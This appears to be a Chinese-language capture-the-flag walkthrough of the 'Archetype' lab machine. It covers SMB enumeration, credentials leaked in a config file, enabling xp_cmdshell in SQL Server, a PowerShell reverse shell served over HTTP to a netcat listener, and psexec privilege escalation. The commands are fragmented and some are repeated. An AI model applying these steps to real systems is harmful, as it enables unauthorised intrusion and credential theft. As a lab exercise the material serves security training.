选择EU或USA后,点击上方Download Connection Pack,下载xxxxx.ovpn,在命令行内键入:
如图所示,就连接成功了
根据网站提示,目标是10.10.10.27
,使用nmap进行扫描:
-sC:使用默认脚本进行扫描,等同于–script=default
-sV:探测开启的端口来获取服务、版本信息
</br>
可以发现,目标开启了135、139、445、1433端口,其中1433是SQL Server数据库默认使用的端口,445是文件共享协议(SMB)默认使用的端口
测试445端口的SMB服务是否支持匿名访问,没有经过权限配置可能默认允许所有人无需身份认证来匿名访问共享资源,使用smbclient来访问samba服务器的共享资源:
-N:匿名登录
-L:获取共享资源列表
</br>
在共享资源列表内,发现存在一个backups目录,再次使用smbclient访问它:
使用dir命令列出backups文件夹下的文件,发现存在一个prod.dtsConfig
文件,它是与SSIS一起使用的配置文件,使用get
命令下载到主机上,使用cat
命令查看一下文件内容
</br>
发现其中包含本地Windows用户的凭据的Password和User ID参数,User ID参数的值为ARCHETYPE\sql_svc
,ARCHETYPE是靶机的主机名,sql_svc是具有数据库登录权限的操作系统用户名
下载并安装impacket工具
</br>
连接数据库(注意需要输入上面凭据中的password)
</br>
判断当前是否拥有sysadmin权限:
返回值是1,代表true,说明当前用户具有sysadmin权限,能够在靶机上使用SQL Server的xp_cmdshell
来进行远程代码执行
依次键入
执行结束后,SQL会返回当前数据库进程的操作系统用户为archetype\sql_svc
目前,我们拥有了数据库的shell,也可以使用部分操作系统的命令,但是需要一个直接的操作系统shell来进行后续的操作
建立一个powershell的反向shell文件shell.ps1(注意修改其中的ip地址为接收shell的kali主机的地址)
,代码如下:
接下来,在kali中使用python搭建一个迷你http服务器,监听80端口来供靶机下载shell.ps1文件(注意不要切换目录,以防找不到文件)
:
在kali中启动netcat监听443端口,等待靶机反向shell连接(端口号需要与shell.ps1中相对应)
:
接下来,回到数据库shell中,执行命令:
目的是为了让靶机到kali内下载shell.ps1文件并执行(注意ip地址为接收shell的kali主机的地址)
查看刚才python搭建的http服务器,发现已经接收到请求(如果没有接收到请查看防火墙是否放行80与443端口)
</br>
再查看netcat,发现已经弹回shell,执行一个ipconfig发现可以正常使用
</br>
在netcat中执行如下命令即可拿到需要提交的flag:
可以发现sql_svc同时是操作系统普通用户、数据库和数据库服务用户,值得去检查频繁访问的文件或已执行的命令,使用如下命令来访问PowerShell历史记录文件:
发现administrator用户登录后将共享文件夹\Archetype\backups映射到T盘,后面是administrator用户名
和它的密码
,可以使用Impacket中的psexec.py
来提权:
输入密码后刚才获取的密码即可提权成功
</br>
执行如下命令可获取管理员的flag
如有疑问,可在评论区内提出,我会尽力解答。
如有错误,欢迎指正。
感谢观看!
openvpn xxxxx.ovpn
nmap
-
sC
-
sV
10.10
.
10.27
smbclient
-
N
-
L
/
/
10.10
.
10.27
/
smbclient
-
N
-
L
/
/
10.10
.
10.27
/
smbclient
-
N
/
/
10.10
.
10.27
/
backups
smbclient
-
N
/
/
10.10
.
10.27
/
backups
SELECT IS_SRVROLEMEMBER(
'sysadmin'
)
SELECT IS_SRVROLEMEMBER(
'sysadmin'
)
EXEC sp_configure
'Show Advanced Options'
,
1
; \\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为
1
时,允许修改数据库的高级配置选项
reconfigure; \\确认上面的操作
sp_configure; \\查看当前sp_configure配置情况
EXEC sp_configure
'xp_cmdshell'
,
1
\\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
reconfigure; \\确认上面的操作
xp_cmdshell
"whoami"
\\在靶机上调用cmdshell执行whoami
EXEC sp_configure
'Show Advanced Options'
,
1
; \\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为
1
时,允许修改数据库的高级配置选项
reconfigure; \\确认上面的操作
sp_configure; \\查看当前sp_configure配置情况
EXEC sp_configure
'xp_cmdshell'
,
1
\\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
reconfigure; \\确认上面的操作
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!